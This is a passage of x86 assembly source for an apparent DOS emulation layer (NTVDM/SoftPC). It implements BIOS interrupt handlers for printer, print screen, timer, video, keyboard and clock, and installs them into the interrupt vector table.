;we don't have interrupts turned on. Otherwise we must do a BOP and let 32-bit
;code handle it.
;
push si
push dx
push ax
mov ax, dx ; dx = adapter no., ensure it is no
xor dx, dx ; greater than PRT_NUM_PORTS.
mov si, PRT_NUM_PORTS
div si
mov si, dx
pop ax
cmp ah, 2
je do_prt_status
or ah,ah
je do_write
jmp do_print_bop
do_prt_status:
cmp byte ptr cs:[si + prt_state], PRT_STATE_READY
jne do_print_bop
test byte ptr cs:[si + prt_control], PRT_IRQ
je get_status
jmp short do_print_bop
do_write:
cmp byte ptr cs:[cur_lpt],0ffh
jne check_lpti
mov byte ptr cs:[cur_lpt],dl
mov word ptr cs:[cur_count],0
mov byte ptr cs:[cur_busy],0ffh
jmp short do_print_bop
check_lpti:
cmp byte ptr cs:[cur_lpt],dl
je buf_ok
push si
xor si,si
bop %BIOS_PRINTER_IO
pop si
mov word ptr cs:[cur_count],0
mov byte ptr cs:[cur_lpt],dl
jmp short do_print_bop
buf_ok:
mov dx,word ptr cs:[cur_count]
mov si,dx
mov byte ptr cs:[si + prt_data_buf],al
inc word ptr cs:[cur_count]
cmp word ptr cs:[cur_count],PRT_BUF_SIZE
jne no_flushing
xor si,si ; sub-function 0 for this bop
bop %BIOS_PRINTER_IO
test ah,08h
jz flush_ok
dec word ptr cs:[cur_count]
jmp short int17h_end
flush_ok:
mov word ptr cs:[cur_count],0
no_flushing:
mov ah,90h
jmp short int17h_end
;
; Risc int17 entry point, provided to cope with si subfunctions
;
int17h_RiscVector:
push si
push dx
do_print_bop:
mov si,0ffffh ; sub-function 1
bop %BIOS_PRINTER_IO
jmp int17h_end
get_status:
test byte ptr cs:[si + prt_lpt_stat], PRT_LPT_BUSY
jne noset
or byte ptr cs:[si + prt_status], PRT_NOTBUSY
noset:
mov ah, cs:[si + prt_status]
and ah, 0f8h
xor ah, 48h
int17h_end:
pop dx
pop si
iret_com:
FIRET
;=================================================================
; Pseudo-ROM vectuz, copied from BIOS2.ASM
;=================================================================
dummy_vector: ; Copied from BIOS2.ASM
jmp iret_com
illegal_bop_vector:
bop 72h
jmp iret_com
intD11_vector:
bop 72h
jmp iret_com
int05h_vector: ; Print Screen func. copied from BIOS2.ASM
call DOSTI
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH DS
;::::::::::::::::::::::::::::::::: Setup DS to point to BIOS data area
MOV AX,40H
MOV DS,AX
;::::::::::::::::::::::::::::::: Print screen already in progress ????
CMP BYTE PTR DS:[100H],1
JE end_print
;::::::::::::::::::::::::::::::::::::::::::::::: Set print screen busy
MOV BYTE PTR DS:[100h],1
;::::: fetch no rows, columns, curr page from bios data area
mov ch, byte ptr ds:[4ah] ; cols
mov cl, byte ptr ds:[84h] ; rows
mov bh, byte ptr ds:[62h] ; curr page num
;::::::::::::::::::::::::::::::::::: Print line feed / carriage return
CALL print_crlf
;:::::::::::::::::::::::::::::::::::::::::: Get current cursor postion
PUSH CX
MOV AH,3
INT 10H
POP CX
;::::::::::::::::::::::::::::::::::::::::::::::::: Save cursor postion
PUSH DX ;save current cursor postion
XOR DH,DH ;current row being processed
start_print_col:
XOR DL,DL ;current column being processed
;::::::::::::::::::::::::::::::::::::::::::::::: Start printing screen
start_print_row:
;:::::::::::::::::::::::::::::::::::::::::::::::::: Set cursor postion
PUSH DX ;save current row,column
MOV AH,2
INT 10H
;::::::::::::::::::::::::::::::::::: Read character at current postion
MOV AH,8
INT 10H
;::::::::::::::::::::::::::::::::::::::::::::::::::::: Print character
OR al,al
JNZ print_char
MOV AL,20H
print_char:
XOR DX,DX
XOR AH,AH
INT 17H
;:::::::::::::::::::::::::::::::::::::::::::: Check for printer errors
POP DX ;Restore current row,column
AND AH,25H
JZ cont2
MOV BYTE PTR DS:[100H],0FFH
JMP short exit_print
;::::::::::::::::::::::::::::::::::::::::::: Move to mext print column
cont2:
INC DL ;Inc current column
CMP DL,CH ;Current col compared to no. of cols
JB start_print_row
;:::::::::::::::::::::::::::::::::::::::::: End of column, print CR/LF
CALL print_crlf
;:::::::::::::::::::::::::::::::::::::::::::::::::: More rows to print
INC DH ;Inc current row
CMP DH,CL ;Current row compared to no. of rows
JBE start_print_col
MOV BYTE PTR DS:[0100H],0
;:::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Exit print
exit_print:
;:::::::::::::::::::::::::::::::::::::; Restore orginal cursor postion
POP DX
MOV AH,2
INT 10H
;:::::::::::::::::::::::::::::::::::::::::::::::::::: Tidy up and exit
end_print:
POP DS
POP DX
POP CX
POP BX
POP AX
jmp iret_com
;::::::::::::::::::::::::::::::::::::::::::::::::::::::::: Print CR/LF
print_crlf:
PUSH DX
XOR DX,DX
MOV AX,0DH
INT 17H
XOR DX,DX
MOV AX,0AH
INT 17H
POP DX
RET
; End of int05_vector (print screen).
int06h_vector:
bop 06h
jmp iret_com
; IVT 7 is set to unexpected interrupt.
int08h_vector:
; The usual int8 handler modified for optimum performance.
; - stays in 16 bit code (no BOP)
; - keeps interrupts off when not needed
; - calls int 1c directly
;
call DOCLI ; make sure interrupts stay off until iret
push es
push ds ; save some registers
push ax
push dx
mov ax, 40h ; set ds to bios data area
mov ds, ax
xor ax, ax
mov es, ax ; set es to IVT seg for i1c callout
inc word ptr ds:[TIMER_LOW] ; inc time counters
jnz i8v1
inc word ptr ds:[TIMER_HIGH]
i8v1:
cmp word ptr ds:[TIMER_HIGH], 018h ; check for 24 hours, wrap point
jnz i8v2
cmp word ptr ds:[TIMER_LOW], 0b0h
jnz i8v2
mov word ptr ds:[TIMER_HIGH], ax ; 24 hour wrap, set OVFL bit
mov word ptr ds:[TIMER_LOW], ax
mov byte ptr ds:[TIMER_OVFL], 1
or al, 8 ; set Overflow bit for fake flags
;--- ; skip floppy motor stuff
i8v2: ; handle the floppy motor stuff
push ax
dec byte ptr ds:[MOTOR_COUNT]
jnz i8v3
and byte ptr ds:[MOTOR_STATUS], 0f0h
mov al, 0ch
mov dx, 03f2h ; costly outb happens 1/256 timer tics...
out dx, al
i8v3:
pop ax
; if a dpmi app has interrupts hooked in PM, then we have to do a real
; INT 1C so that the dpmi host has a chance to switch to PM
test word ptr ds:[FIXED_NTVDMSTATE_REL40], VDM_INTS_HOOKED_IN_PM
jnz i8v4
; call int1c user routine directly
lahf ; get lobyte of flags for fake flags
xchg ah,al
push ax ; put fake flags on the stack
call dword ptr es:[1ch*4] ; do it!
jmp i8v5
i8v4:
int 1ch ; do real int1C
i8v5:
call DOCLI ; make sure interrupts stay off until iret
mov al, 20h ; send eoi
out 20h, al
pop dx ;restore the stack
pop ax
pop ds
pop es
jmp iret_com
int0e_vector:
bop 0eh
jmp iret_com
DOCLI:
FCLI
ret
DOSTI:
FSTI
ret
;-----------------------------------------------------------------------
;function: sw_video_io
;
;description:
; int10 ah=0e and ax=13ffh handler for "well-behaved" applications which
; do their video i/o through dos/file or WriteTTy call
; Since the output won't go to the video hardware, it was called software
; video.
;
;input: whatever to int10
;
;output: carry flag = 1 if we have done the function
; carry flag = 0 if we have not done anything, the caller has
; to carry on the operation
;
;modified: none
;-----------------------------------------------------------------------
sw_temp db 0
SW_VIDEO_BUFFER_SEGMENT = 0B000h
SW_VIDEO_BUFFER_SIZE = 82 * 2
;; make sure we are in word boundary because they are accessed from
;; 32bits code
EVEN
sw_video_dirty_count dw 0
sw_video_busy dw 0
sw_video_io proc near
;stop 32bits code from accessing shared variables.
;We do not bop to 32bits at all unless our buffer doesn't have
;enough space for the new data. The 32 bits code would refresh
;our buffer contents to the console periodically.
;
inc cs:sw_video_busy ;indicate we are busy
;this is the basic sync mechanism
;with 32bits stream_io update code
cmp ax,13ffh ;secret write string?
jne sw_check_write_tty ;no, check for write tty
cmp cx, 1
je sw_video_string_1
push si
mov si, SW_VIDEO_BUFFER_SIZE
sub si, cs:sw_video_dirty_count
cmp cx, si
jae sw_video_overflow
push di
push cx
push dx
push ds
push es
mov dx, es ;ds:di ptr to the string
mov ds, dx
mov dx, SW_VIDEO_BUFFER_SEGMENT
mov es, dx
mov dx, cx
mov si, di
mov di, cs:sw_video_dirty_count
cld ;ds:si ptr to the string
shr cx, 1 ;cs has the byte count
rep movsw
adc cl, 0
rep movsb
add cs:sw_video_dirty_count, dx
pop es
pop ds
pop dx
pop cx
pop di
pop si
stc ;tell the caller we've done it
dec cs:sw_video_busy
ret
sw_video_string_1:
push ax
mov ah, 0eh
mov al, es:[di]
call sw_video_write_tty
pop ax
ret
;; this should be a rare case as we have a big buffer
;; we go directly to 32bits and we will take care of it there
sw_video_overflow:
pop si
dec cs:sw_video_busy
bop EGA_VIDEO_BOP ;not free buffer space
stc ;do it on 32bits
ret
sw_check_write_tty:
cmp ah, 0eh
jne sw_mode_change ;we have to enable video h/w
sw_video_write_tty:
push si
mov si, cs:sw_video_dirty_count ;the current count(index)
cmp si, SW_VIDEO_BUFFER_SIZE
jae sw_video_overflow
push ds
mov si, SW_VIDEO_BUFFER_SEGMENT
mov ds, si
mov si, cs:sw_video_dirty_count
mov ds:[si], al ;put it in the buffer
inc si
mov cs:sw_video_dirty_count, si ;new count, new index
pop ds
pop si
sw_video_done:
stc
dec cs:sw_video_busy
ret
sw_mode_change:
push ax
mov ax, 013FEh ;tell 32bits to initialize
bop EGA_VIDEO_BOP ;video hardware for us
pop ax
clc ;tell caller we didn't do any
dec cs:sw_video_busy
ret
sw_video_io endp
;
; <NAME> 92. Video BIOS grabber.
; Call SPC BIOS when in windowed mode and the host BIOS when in full-screen.
; Controled by value of 'use_host_int10'.
; Try to limit bops by validating calling values. Mouse has to get first shot
; and then video bios.
;
use_host_int10 db 01h ; native/softpc bios flag
changing_mode db 01h ; delay handshake if in bios mode change
PUBLIC int10h_vector
int10h_vector:
cmp use_host_int10, STREAM_IO
jne hw_video_io
call sw_video_io
jc viddone
hw_video_io:
cmp use_host_int10, FULLSCREEN
je nativebios
cmp ah,VID_MODECHANGE ; mode change??
je modechange
cmp ah,MAX_VIDEO_FUNC ; range check
ja mousecheck ; not a vid func but mouse has higher
cmp ah,MOUSE_LIGHT_PEN ; light pen special case
je mousebios
spcbios:
bop EGA_VIDEO_BOP ; regular windowed Int 10
jmp viddone
mousecheck:
cmp ah,VID_VESA_BIOS ; Is VESA bios call?
jne short @f ; ne, no, proceed normally
bop MOUSE_VID_BOP ; yes, will go fullscreen
jmp jmp_native ; and handle the int10 by native bios
@@:
cmp ah,MIN_MOUSE_FUNC ; range check mouse fn f0-f7 + fa.
jb badvid
cmp ah,MAX_MOUSE_FUNC
jbe mousebios
cmp ah,XTRA_MOUSE_FUNC
jne badvid
mousebios: ; call softpc mouse video entrypoint
bop MOUSE_VID_BOP
jmp viddone
modechange: ; windowed modechange. Mouse gets a look
mov changing_mode,1 ; then softpc video bios. If gfx mode then
bop MOUSE_VID_BOP ; will go fullscreen
;;;nop
;;;nop ; nops aid debugging
;;;bop EGA_VIDEO_BOP ; will go fullscreen here
nop
nop
push ax ; save video mode which may have top bit set
and ax,7fh
cmp al,3
jbe endmode ; if graphics mode, repeat modechange to setup
cmp al,7 ; video card, else fall through
je endmode
pop ax
jmp nativebios
endmode:
pop ax
mov changing_mode,0 ; Clear 'mode changing' flag.
viddone:
jmp iret_com
badvid: ; unrecognised video func
stc
jmp viddone
nativebios:
mov changing_mode,0 ; Clear 'mode changing' flag.
cmp ax,MS_VIDEO_STRING ; ensure not MS special video string fn
je ms_wrt_string
cmp ah,MIN_MOUSE_FUNC ; could be a mouse call
jb chk_mse_vid
cmp ah,MAX_MOUSE_FUNC ; range check mouse fn f0-f7 + fa.
jbe mousebios
cmp ah,XTRA_MOUSE_FUNC
je mousebios
jmp jmp_native ; probably bad func but...
chk_mse_vid:
cmp ah,MOUSE_LIGHT_PEN ; mouse handles light pen
je mousebios
cmp ah,VID_MODECHANGE
jne chk_font_change
bop MOUSE_VID_BOP ; mouse wants first sniff at mode changes
jmp jmp_native ; then fall through
chk_font_change:
cmp ah,GET_FONT_FUNC
jne jmp_native
bop MOUSE_VID_BOP ; select mouse buffer for new no. of lines
; then fall through
jmp_native:
db 0EAh ; far jump
host_int10 dd ? ; to native int 10 vector
ms_wrt_string:
push si
push di
push bp
go_loop1:
mov dx,46h ; looks a good value for flags
push dx ; make an iret frame
push cs
mov bx, offset go_cont
push bx
mov bx,7 ; set foreground color
mov ah,0eh ; set command to write a character
mov al,es:[di] ; get char
inc di
jmp jmp_native ; make far jmp to int 10 vector
go_cont:
loop go_loop1 ;repeat until all through
pop bp
pop di
pop si
mov ax,1 ; return success
goto_viddone:
jmp viddone
;
; int 42 - 'old' video bios entry point. Use same windowed/fullscreen
; redirection as Int 10 above.
;
int42h_vector:
cmp use_host_int10, STREAM_IO
jne hw_video_io_42
call sw_video_io
jc goto_viddone
hw_video_io_42:
cmp use_host_int10, FULLSCREEN
jz maybe_host_42_bios
bop 10h ; old video bop
jmp iret_com
; If it's the special BIOS print string function, don't call the
; host video BIOS cos it won't know what we are talking about.
; It's only in our video BIOS.
maybe_host_42_bios:
cmp AH, 013h
jnz gogo_host_42_bios
cmp AL, 0ffh
jz ms_wrt_string ; reuse path from Int 10
gogo_host_42_bios:
db 0EAh ; far jump
host_int42 dd ? ; to native int 42 vector
int10h_caller:
int 10h ; Re-entrant video entry point.
bop 0feh
int11h_vector: ; Equipment check.
bop 11h
jmp iret_com
int12h_vector: ; Get memory size, copied from BIOS2.ASM
bop 12h
jmp iret_com
; IVT 13 is floppy io, grabbed above to fake error status.
int14h_vector: ; RS-232 serial comms, copied from BIOS2
bop 14h
jmp iret_com
; Int 15 cassette io, is done above.
; Idle indicators- All word sized, and dword aligned
; Int 16 keyboard vector
align 4
public Icounter,CharsPerTick,MinTicks
Icounter dw 0
dw 0
CharsPerTick dw 0
dw 0
MinTicks dw 50
dw 0
int16h_vector:
push ds
push bx
mov bx, 40h ; bios data adressable
mov ds, bx
cmp ah, 10h
call DOCLI ; make sure interrupts are off
jb i16vStdFns
jmp i16vExtFns
; The dispatch code must preserve the jz,dec,dec pattern
; to return the same ah value as is returned by the
; standard bios (0 for supported unless otherwise documented
; and nonzero for unsupported). This is because some apps look
; at the ret value of ah even tho it is a side effect of the
; original dispatch code in the rom bios.
i16vStdFns:
or ah, ah
jz i16v00h ; read key, wait
dec ah
jz i16v01h ; read key no wait
dec ah
jz i16v02h ; get shift state
dec ah
jz i16viret ; we don't support ah=3, set kbd rate
dec ah
jz i16viret ; undefined function
dec ah
jz i16v05h ; push char into kbd buffer
; the rest are undefined\unsupported
; normal iret exit
i16viret:
pop bx
pop ds
jmp iret_com
; return shift state in al
i16v02h:
mov al, ds:[KB_FLAG]
jmp i16viret
i16v05h:
push si
mov bx, word ptr ds:[BUFFER_TAIL]
mov si, bx
call IncrBuffPtr
cmp bx, word ptr ds:[BUFFER_HEAD]
je i16v05h1
mov word ptr ds:[si], cx
mov word ptr ds:[BUFFER_TAIL], bx
mov al, 0
pop si
jmp i16viret
i16v05h1:
mov al, 1
pop si
jmp i16viret
; read a character, wait if none available
i16v00h:
mov bx, word ptr ds:[BUFFER_HEAD]
cmp bx, word ptr ds:[BUFFER_TAIL]
jne i16v00h1
call DOSTI
mov ax, 09002h
int 15h ; wait device
i16v00h0:
call DOCLI
mov bx, word ptr ds:[BUFFER_HEAD]
cmp bx, word ptr ds:[BUFFER_TAIL]
i16v00h1:
call UpdateLed
jne i16v00h2
call IdlePoll
jmp i16v00h0
i16v00h2: ; translate.....
mov ax, [bx]
call IncrBuffPtr
mov word ptr ds:[BUFFER_HEAD], bx
call TranslateStd
jc i16v00h0
call IdleInit
jmp i16viret
; read a character, nowait if none available
i16v01h:
mov bx, word ptr ds:[BUFFER_HEAD] ;;maybe should turn IF on ??
cmp bx, word ptr ds:[BUFFER_TAIL]
mov ax, [bx]
call UpdateLed
je i16vretf1
call IdleInit
call TranslateStd
call DOSTI
jnc i16vretf5 ; got a key, all done!
call IncrBuffPtr ; throw away key
mov word ptr ds:[BUFFER_HEAD], bx
jmp i16v01h ; go for the next one
; ExtKbd read a character, nowait if none available
i16v11h:
mov bx, word ptr ds:[BUFFER_HEAD] ;;maybe should turn IF on ??
cmp bx, word ptr ds:[BUFFER_TAIL]
mov ax, [bx]
call UpdateLed
je i16vretf1 ; common retf stuff for nowait
call IdleInit
call TranslateExt
call DOSTI
jmp i16vretf5
; retf2 exit preserving flags
i16vretf1:
call DOSTI
push ax
lahf
push ax
mov ax, cs:Icounter
cmp ax, cs:MinTicks
jb i16vretf2
mov ah, 1 ; polling kbd, idle now
BOP 16h
jmp i16vretf4
i16vretf2:
inc cs:CharsPerTick
i16vretf4:
pop ax
sahf
pop ax
i16vretf5:
pop bx
pop ds
retf 2
i16vExtFns:
sub ah, 10h
jz i16v10h ; extended read key, wait
dec ah
jz i16v11h ; extended read key, nowait
dec ah
jz i16v12h ; extended shift status
jmp i16viret ; undefined
; return extended shift state
i16v12h:
mov al, ds:[KB_FLAG_1]
mov ah, al
and al, SYS_SHIFT
push cx
mov cl, 5
shl al, cl
pop cx
and ah, NOT (SYS_SHIFT+HOLD_STATE+INS_SHIFT)
or al, ah
mov ah, ds:[KB_FLAG_3]
and ah, KBF3_ALT_CTRL
or ah, al
mov al, ds:[KB_FLAG]
jmp i16viret
; ExtKbd read a character, wait if none available
i16v10h:
mov bx, word ptr ds:[BUFFER_HEAD]
cmp bx, word ptr ds:[BUFFER_TAIL]
jne i16v10h1
call DOSTI
mov ax, 09002h
int 15h ; wait device
i16v10h0:
call DOCLI
mov bx, word ptr ds:[BUFFER_HEAD]
cmp bx, word ptr ds:[BUFFER_TAIL]
i16v10h1:
call UpdateLed
jne i16v10h2
call IdlePoll
jmp i16v10h0
i16v10h2: ; translate.....
mov ax, [bx]
call IncrBuffPtr
mov word ptr ds:[BUFFER_HEAD], bx
call TranslateExt
call IdleInit
jmp i16viret
; IdlePoll - Spins waiting for a key, doing idle callouts as needed
; flags trashed, all registers preserved
; interrupts are left on upon exit
;
IdlePoll proc near
push ax
call DOSTI
mov ah, 2 ; Idle_waitio
BOP 16h
IPoll1:
mov bx, word ptr ds:[BUFFER_HEAD]
cmp bx, word ptr ds:[BUFFER_TAIL] ; interrupts are off only
jne IPoll3 ; safe to peek for change
mov ax, cs:Icounter
cmp ax, cs:MinTicks
jae IPoll2
inc cs:CharsPerTick
jmp IPoll1
IPoll2:
mov ah, 1 ; idle now
BOP 16h
IPoll3:
pop ax
ret
IdlePoll endp
; IdleInit - reinits the idle indicators, dups functionality
; of IDLE_init()
;
IdleInit proc near
mov cs:Icounter, 0
mov cs:CharsPerTick, 0
ret
IdleInit endp
; TranslateExt - Retrieves and translates next scan code
; pair for extended kbd
;
; input: ax - raw scan code pair
; output: ax - translated scan code pair
;
; all other flags,registers preserved
TranslateExt proc near
push bx
push ax
lahf
mov bx, ax
pop ax
push bx
cmp al, 0f0h
jne TExt1
or ah, ah
jz TExt1
xor al, al
TExt1:
mov bx, ax
pop ax
sahf
mov ax, bx
pop bx
ret
TranslateExt endp
; TranslateStd - Retrieves and translates next scan code
; pair for standard kbd
;
; input: ax - raw scan code pair
; output: ax - translated scan code pair
; returns carry for throw away
; all other flags,registers preserved
TranslateStd proc near
push bx
push ax
lahf
mov bx, ax
pop ax
push bx
cmp ah, 0e0h
jne TStd1
; keypad enter or '/'
mov ah, 1ch ; assume enter key
cmp al, 0dh
je TStdNoCarry
cmp al, 0ah
je TStdNoCarry
mov ah, 35h ; oops it was key pad!
jmp TStdNoCarry
TStd1:
cmp ah, 84h
ja TStdCarry ; extended key ?
cmp al, 0f0h ; fill in key ?
jne TStd2
or ah, ah ; ah = 0 is special
jz TStdNoCarry
jmp TStdCarry
TStd2:
cmp al, 0e0h ; convert to compatible output
jne TStdNoCarry
or ah, ah
jz TStdNoCarry
xor al, al
TStdNoCarry:
mov bx, ax
pop ax
sahf
mov ax, bx
pop bx
clc
ret
TStdCarry:
mov bx, ax
pop ax
sahf
mov ax, bx
pop bx
stc
ret
TranslateStd endp
; IncrBuffPtr - increments the buffer pointer
;
; input: ds:bx - curr buf ptr
; output: ds:bx - new buf ptr
; does not update the bios buf ptr
IncrBuffPtr proc near
inc bx
inc bx
cmp bx, word ptr ds:[BUFFER_END]
jne ibpExit
mov bx, word ptr ds:[BUFFER_START]
ibpExit:
ret
IncrBuffPtr endp
; UpdateLed - forms the data byte for the mode indicators
; updates the led bits (MAKE_LED,SEND_LED)
;
; input: none
; output: led bits updated
;
; Caveats: all low flags,registers preserved
; MUST be called with interrupts off
; does not update the kbd hardware (send_led)
;
UpdateLed proc near
push bx
push cx
push ax
lahf
push ax
; make_led
mov al, byte ptr ds:[KB_FLAG] ; get led bits
and al, CAPS_STATE+NUM_STATE+SCROLL_STATE
mov cl, 4
shr al, cl ; shift for kb_flag_2
and al, KB_LEDS ; only led mode bits
mov bl, byte ptr ds:[KB_FLAG_2]
xor bl, al ; see if different
and bl, KB_LEDS ; only led mode bits
jz UledExit
test byte ptr ds:[KB_FLAG_2], KB_PR_LED ;if update under way
jnz ULedExit ; skip update
or byte ptr ds:[KB_FLAG_2], KB_PR_LED ;else upd in progress
shl bl, cl ; add in changebits
or al, bl ; to hi nibble of al
mov ah, 3 ; inform softpc to set lights
BOP 16h
and byte ptr ds:[KB_FLAG_2], NOT KB_LEDS ; clear led bits
and al, 0fh ; remove change bits
or byte ptr ds:[KB_FLAG_2], al ; stick in new led bits
and byte ptr ds:[KB_FLAG_2], NOT KB_PR_LED ; clear upd bit
ULedExit:
pop ax
sahf
pop ax
pop cx
pop bx
ret
UpdateLed endp
; IVT 17 is printer IO, done above.
int18h_vector: ; ROM BASIC, copied from BIOS2.ASM
bop 18h
jmp iret_com
int19h_vector: ; reboot vector, we terminate vdm!
bop 19h
jmp iret_com
IdleTicLo dw 0
IdleTicHi dw 0
IdleTicNum db 0
int1Ah_vector: ; Time of day.
call DOSTI
cmp ah, 2
jb i1aTic1
bop 1ah
jmp iret_com
i1aTic1:
push ds ; bios data adressable
push bx
push ax
mov ax, 40h
mov ds, ax
pop ax
call DOCLI
or ah, ah ; fn 0 or fn 1 ?
jnz i1aTic5
i1aTic2:
mov al, byte ptr ds:[TIMER_OVFL] ; GetTickCount
mov cx, word ptr ds:[TIMER_HIGH]
mov dx, word ptr ds:[TIMER_LOW]
; If time stamp is within 1 tic of curr tic count
; do idle polling managment
cmp cs:IdleTicHi, cx ; check TIMER_HIGH
jnz i1aTic8
mov bx, cs:IdleTicLo ; check TIMER_LOW
cmp bx, dx
jz i1aTic3
inc bx
cmp bx, dx
jnz i1aTic8
i1aTic3:
inc cs:IdleTicNum ; Yes, inc poll count
cmp cs:IdleTicNum, 16 ; Is poll count too hi ?
jb i1aTic9
call DOSTI
xor ax,ax ; Yes, do idle BOP
dec cs:IdleTicLo ; make sure only bop once
BOP 5ah
call DOCLI
jmp short i1aTic2
i1aTic5:
mov word ptr ds:[TIMER_LOW], dx ; SetTickCount
mov word ptr ds:[TIMER_HIGH], cx
i1aTic8:
mov cs:IdleTicNum, 0 ; reset idle indicators
i1aTic9:
mov cs:IdleTicLo, dx ; store time stamp
mov cs:IdleTicHi, cx
mov byte ptr ds:[TIMER_OVFL], 0 ; common TicCount exit
pop bx
pop ds
jmp iret_com
; IVT 1B is keyboard break, set to dummy.
int1Eh_vector:
bop 1eh
jmp iret_com
int70h_vector: ; Real time clock, copied from BIOS1.ASM
bop 70h ; rtc_bios.c:rtc_int()
jmp iret_com
int4Ah_caller:
call DOSTI ; Called from base\bios\rtc_bios.c:rtc_int()
int 4ah ; User installed alarm.
jmp r1
r1: jmp r2
r2: jmp r3
r3:
call DOCLI
bop 0feh
int71h_vector: ; redirect, copied from BIOS1.ASM
bop 71h
int 0Ah
jmp iret_com
int75h_vector: ; NPX 287.
bop 75h
int 02h
jmp iret_com
;=================================================================
; End of pseudo-ROM vectuz.
;=================================================================
;================================================================
; Wait for interrupts
;================================================================
cpu_nop_code:
call DOSTI
jmp short nxt1
nxt1: jmp short nxt2
nxt2: jmp short nxt3
nxt3: bop %BIOS_CPU_QUIT
public SpcKbdEnd
SpcKbdEnd label byte
align 4 ;; makes MIPS happy
; offset table for redirected functions
ifdef JAPAN
kio_table dw 34 dup(?)
else ; !JAPAN
kio_table dw 33 dup(?)
endif ; !JAPAN
public InstSpcKbd
;
; InstSpcKbd - Installs the softpc custom interrupt hooks
;
; Inputs: ds == Resident location of SysInitSeg
; Outputs: None
;
InstSpcKbd proc near
pusha
call DOCLI
; The following vectors are used for both x86\mips
; The dos interrupts Int 25\Int26 are handled by the dos kerenl
xor ax, ax
mov es, ax
mov word ptr es:[08h*4], offset int08h_vector
mov word ptr es:[(08h*4)+2], ds
mov word ptr es:[09h*4], offset int09h_vector
mov word ptr es:[(09h*4)+2], ds
mov word ptr es:[13h*4], offset int13h_vector
mov word ptr es:[(13h*4)+2], ds
mov word ptr es:[16h*4], offset int16h_vector
mov word ptr es:[(16h*4)+2], ds
mov word ptr es:[40h*4], offset int40h_vector
mov word ptr es:[(40h*4)+2], ds
mov word ptr es:[19h*4], offset int19h_vector
mov word ptr es:[(19h*4)+2], ds
mov word ptr es:[1ah*4], offset int1Ah_vector
mov word ptr es:[(1ah*4)+2], ds
; BOP 5F - send interesting addresses to softpc C BIOS
; CS seg of kio_table
; DS seg of resident keyboard code
; DI offset of bop table
; CX size of bop table entry
; SI offset of kio_table
mov si,offset sysinitgrp:kio_table
push ds
push cs
pop ds
mov word ptr [si], offset shift_keys ;K6
mov word ptr [si+2], offset shift_masks ;K7
mov word ptr [si+4], offset ctl_n_table ;K8
mov word ptr [si+6], offset ctl_f_table ;K9
mov word ptr [si+8], offset lowercase ;K10
mov word ptr [si+10], offset uppercase ;K11
mov word ptr [si+12], offset alt_table ;K30
mov word ptr [si+14], offset dummy_vector
mov word ptr [si+16], offset print_screen_caller
mov word ptr [si+18], offset int15h_caller
mov word ptr [si+20], offset cpu_nop_code
mov word ptr [si+22], offset int15h_vector
mov word ptr [si+24], offset Icounter
mov word ptr [si+26], offset int4Ah_caller
mov word ptr [si+28], offset keyboard_break_caller
mov word ptr [si+30], offset int10h_caller
mov word ptr [si+32], offset int10h_vector
mov word ptr [si+34], offset use_host_int10
mov word ptr [si+36], offset ega_parm_setup
mov word ptr [si+38], offset changing_mode
mov word ptr [si+40], offset prt_status
mov word ptr [si+42], offset wait_int
mov word ptr [si+44], offset floppy_table
mov word ptr [si+46], offset vga_1b_table
mov word ptr [si+48], offset conf_table
mov word ptr [si+50], offset int08h_vector
mov word ptr [si+52], offset int13h_vector
mov word ptr [si+54], offset int13h_caller
mov word ptr [si+56], SW_VIDEO_BUFFER_SIZE
mov word ptr [si+58], SW_VIDEO_BUFFER_SEGMENT
mov word ptr [si+60], offset sw_video_dirty_count
mov word ptr [si+62], offset sw_video_busy
ifdef JAPAN
mov word ptr [si+64], offset int16h_caller
endif ; JAPAN
; Pass DOS_FLAG to 32 bit side
push es
push bx
mov ah, GET_IN_VARS
int 21h
mov ax, es
pop bx
pop es
; The last entry is reserved for assertion checking
ifdef JAPAN
mov word ptr [si+66], ax
mov word ptr [si+68], DOS_FLAG_OFFSET
mov word ptr [si+70], VERSIONID
else ; !JAPAN
mov word ptr [si+64], ax
mov word ptr [si+66], DOS_FLAG_OFFSET
mov word ptr [si+68], VERSIONID
endif ; !JAPAN
pop ds
; mov si, offset kio_table
mov di, offset iret_bop_table
mov cx, offset iret_end_first_entry - offset iret_bop_table
mov ax, VERSIONID
bop BOP_UNIMPINT
jc isk_int9
;
; Risc only
;
xor ax, ax
mov es, ax
mov word ptr es:[17h*4], offset int17h_RiscVector
mov word ptr es:[(17h*4)+2], ds
;
; End Risc only
;
jmp isk_Exit
isk_int9:
;
; X86 only
;
; save old video int
xor ax, ax
mov es, ax
mov bx, es:[40h]
mov si, offset host_int10
mov word ptr ds:[si], bx
mov bx, es:[42h]
mov word ptr ds:[si+2], bx
; save old secondary video int (42h)
mov bx, es:[108h]
mov si, offset host_int42
mov word ptr ds:[si], bx
mov bx, es:[10ah]
mov word ptr ds:[si+2], bx
;-----------------------------------------------------------
;
; Crazy vector grabber
;
; Works OK on DEC PC when grab INT's 6, 11, 16, 17, 42.
; Now try and avoid all accesses to host ROM.
;
; At this point we assume ES=0
;-----------------------------------------------------------
; Grab some prominent vectors for pseudo-ROM routines.
; start at Int 0h and work our way up as needed
cld
mov di, 20
mov ax, offset int05h_vector ; INT 05h
stosw ; Print screen
mov ax, ds
stosw
mov ax, offset int06h_vector ; INT 06h
stosw ; Illegal instruction.
mov ax, ds
stosw
mov ax, offset unexp_int ; INT 07h
stosw
mov ax, ds
stosw
; int 8h Timer hardware vector already done for both x86\mips
; int 9h kbd hardware vector already done for both x86\mips
add di, 8
mov ax, offset unexp_int ; INT 0ah
stosw
mov ax, ds
stosw
mov ax, offset unexp_int ; INT 0bh
stosw
mov ax, ds
stosw
mov ax, offset unexp_int ; INT 0ch
stosw
mov ax, ds
stosw
mov ax, offset unexp_int ; INT 0dh
stosw
mov ax, ds
stosw
mov ax, offset int0e_vector ; INT 0eh
stosw ; Floppy hardware int.
mov ax, ds
stosw
mov ax, offset unexp_int ; INT 0fh
stosw
mov ax, ds
stosw
mov ax, offset int10h_vector ; INT 10h
stosw
mov ax, ds
stosw
mov ax, offset int11h_vector ; INT 11h
stosw ; Equipment check.
mov ax, ds
stosw
mov ax, offset int12h_vector ; INT 12h
stosw ; Get memory size.
mov ax, ds
stosw
; int 13h already done (see above) for both mips\x86
mov di, 14h*4 ; Communications.
mov ax, offset int14h_vector
stosw
mov ax, ds
stosw
mov ax, offset int15h_vector ; INT 15h
stosw
mov ax, ds
stosw
; int 16h kbd hardware vector already done for both x86\mips
add di, 4
mov ax, offset int17h_vector ; INT 17h
stosw
mov ax, ds
stosw
